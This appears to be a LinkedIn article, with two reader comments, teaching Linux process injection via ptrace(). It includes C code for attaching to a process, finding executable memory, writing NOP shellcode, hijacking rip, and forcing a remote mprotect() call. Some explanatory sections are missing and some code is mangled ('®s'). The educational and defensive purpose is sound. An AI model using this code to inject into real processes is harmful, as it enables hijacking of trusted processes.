From Userland to Kernel: A Deep Dive into Linux Process Injection with ptrace()
In the world of cybersecurity, understanding the deepest layers of the operating system isn't just academic—it's essential. For those of us defending, analyzing, or testing Linux environments, the ptrace() system call is a prime example. While it's the cornerstone of debugging tools like GDB, it's also a powerful mechanism for process injection, allowing an attacker to hijack a trusted process to execute malicious code.
This article dissects this classic technique from two perspectives: the practical, user-space implementation and the underlying kernel mechanics that make it all possible. Let's peel back the layers.
The User-Space View: Anatomy of an Injection
At a high level, a ptrace() injection is a methodical, four-step process where a "tracer" process manipulates a "tracee."
Step 1: Attachment (PTRACE_ATTACH)
First, the attacker must attach to the target process using its PID. This call pauses the target and grants the tracer control over its state.
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <stdio.h>
// --- In the tracer's main function ---
long pid = 1234; // Target Process ID
int status;
printf(" [+] Attaching to process %ld...\n", pid);
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1) {
perror("ptrace attach");
return 1;
}
waitpid(pid, &status, 0); // Wait for the tracee to stop
printf(" [+] Attached successfully.\n");
Step 2: Reconnaissance (/proc/PID/maps)
Code can only run from a memory page with execute permissions. The attacker finds a suitable injection spot by parsing the target's memory map, looking for a region marked r-xp (read-execute).
#include <stdio.h>
#include <string.h>
long find_executable_memory(long pid) {
char maps_path[256];
snprintf(maps_path, sizeof(maps_path), "/proc/%ld/maps", pid);
FILE* maps_file = fopen(maps_path, "r");
if (!maps_file) return 0;
char line[512];
long addr = 0;
while (fgets(line, sizeof(line), maps_file)) {
if (strstr(line, "r-xp")) {
sscanf(line, "%lx-", &addr); // Parse the starting address
break;
}
}
fclose(maps_file);
return addr;
}
Step 3: Payload Injection (PTRACE_POKETEXT)
With an address in hand, the attacker uses PTRACE_POKETEXT to write their shellcode, one word at a time, into the target's memory space.
#include <sys/ptrace.h>
#include <string.h>
// A harmless shellcode (array of NOPs)
unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
void inject_code(long pid, long addr, unsigned char* code, size_t len) {
for (size_t i = 0; i < len; i += sizeof(long)) {
long word;
memcpy(&word, code + i, sizeof(long));
if (ptrace(PTRACE_POKETEXT, pid, addr + i, word) == -1) {
perror("ptrace poketext");
return;
}
}
printf(" [+] Shellcode injected at address 0x%lx\n", addr);
}
Step 4: Execution Hijack (PTRACE_SETREGS)
This is the final move. The attacker modifies the Instruction Pointer register (rip on x86-64), which points to the next instruction to be executed. By changing rip to the address of the injected shellcode and resuming the process, they hijack its control flow.
#include <sys/ptrace.h>
#include <sys/user.h> // For user_regs_struct
void hijack_execution(long pid, long addr) {
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s); // Get current registers
// Overwrite RIP to point to our shellcode
regs.rip = addr;
ptrace(PTRACE_SETREGS, pid, NULL, ®s); // Write modified registers back
ptrace(PTRACE_DETACH, pid, NULL, NULL); // Resume and detach
printf(" [+] Execution hijacked. Process detached.\n");
}
Recommended by LinkedIn
The Kernel-Level Perspective: How It Really Works
What we just did in user-space is an abstraction. The real magic happens inside the Linux kernel.
A process is represented in the kernel by task_struct. This massive C structure holds everything about the process, but for injection, we care about two parts:
The /proc/PID/maps file is just a pretty print of the Virtual Memory Areas (VMAs), or vm_area_structs, linked within the mm_struct. Each VMA defines a memory region and its permissions (VM_READ, VM_WRITE, VM_EXEC).
When you call ptrace(PTRACE_POKETEXT, ...):
(Disclaimer: The following information and code are for educational and defensive research purposes only. Do not use them on systems you do not own or have explicit permission to test.)
When you call ptrace(PTRACE_SETREGS, ...): The kernel simply copies the register data you provide directly into the thread_struct of the paused tracee. When the process is scheduled to run again, the kernel loads this modified context onto the CPU. The CPU, unaware of the change, begins fetching instructions from the attacker-controlled rip.
Bypassing Memory Protection (mprotect())
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/mman.h> // For PROT_* constants
/**
* Forces a remote process to execute an mprotect syscall.
*
* @param pid The process ID of the tracee.
* @param addr The starting address of the memory region.
* @param len The length of the memory region.
* @param prot The desired memory protection flags (e.g., PROT_READ | PROT_WRITE | PROT_EXEC).
* @return 0 on success, -1 on failure.
*/
int force_mprotect_call(pid_t pid, long addr, size_t len, int prot) {
struct user_regs_struct old_regs, regs;
int status;
printf(" [>] Forcing mprotect call in PID %d\n", pid);
// 1. Get the original registers to restore them later.
if (ptrace(PTRACE_GETREGS, pid, NULL, &old_regs) == -1) {
perror("ptrace getregs");
return -1;
}
memcpy(®s, &old_regs, sizeof(struct user_regs_struct));
// 2. Back up the code we are about to overwrite.
// The syscall instruction is 2 bytes (0x0f 0x05). We need to back up a full word.
long original_code = ptrace(PTRACE_PEEKTEXT, pid, regs.rip, NULL);
if (original_code == -1) {
perror("ptrace peektext");
return -1;
}
// 3. Set up the registers for the mprotect syscall.
// See 'man syscall' for the x86_64 calling convention.
regs.rax = 10; // syscall number for mprotect
regs.rdi = addr; // arg 1: address
regs.rsi = len; // arg 2: length
regs.rdx = prot; // arg 3: protection flags
if (ptrace(PTRACE_SETREGS, pid, NULL, ®s) == -1) {
perror("ptrace setregs");
return -1;
}
// 4. Inject the 'syscall' instruction (0x0f 0x05) into the instruction stream.
// We combine our 2-byte instruction with the rest of the original word.
long syscall_instruction = (original_code & 0xFFFFFFFFFFFF0000) | 0x050f;
if (ptrace(PTRACE_POKETEXT, pid, old_regs.rip, syscall_instruction) == -1) {
perror("ptrace poketext");
return -1;
}
// 5. Execute the single syscall instruction.
if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) == -1) {
perror("ptrace singlestep");
return -1;
}
waitpid(pid, &status, 0);
// 6. Check the result of the syscall in rax. A negative value indicates an error.
if (ptrace(PTRACE_GETREGS, pid, NULL, ®s) == -1) {
perror("ptrace getregs after syscall");
return -1;
}
if ((long)regs.rax < 0) {
fprintf(stderr, " [!] mprotect syscall failed with error code %ld\n", -(long)regs.rax);
// Even if it fails, we must restore the process state.
} else {
printf(" [+] mprotect call successful!\n");
}
// 7. Restore the original code and registers to clean up.
if (ptrace(PTRACE_POKETEXT, pid, old_regs.rip, original_code) == -1) {
perror("ptrace poketext restore");
return -1;
}
if (ptrace(PTRACE_SETREGS, pid, NULL, &old_regs) == -1) {
perror("ptrace setregs restore");
return -1;
}
return 0;
}
This is the critical step that separates a theoretical attack from a practical one. The attacker cannot use PTRACE_POKETEXT yet. They must first force the tracee to make its own memory writable.
This is done by using ptrace to meticulously set up the registers for a system call to mprotect() and then executing it.
Advanced Defense: Thinking Like a Kernel Engineer
Knowing the internals unlocks superior defense strategies beyond just restricting ptrace() access.
By moving our detection logic closer to the kernel, we can create defenses that are far more difficult for an attacker to bypass. Understanding the complete path of an attack, from user-space API to kernel object manipulation, is what separates good security practitioners from great ones.
Old phrack school :) modern eBPF techniques can be far more sophisticated though.
Amazing Article and very knowledgeable 🙌🏻🙌🏻🙌🏻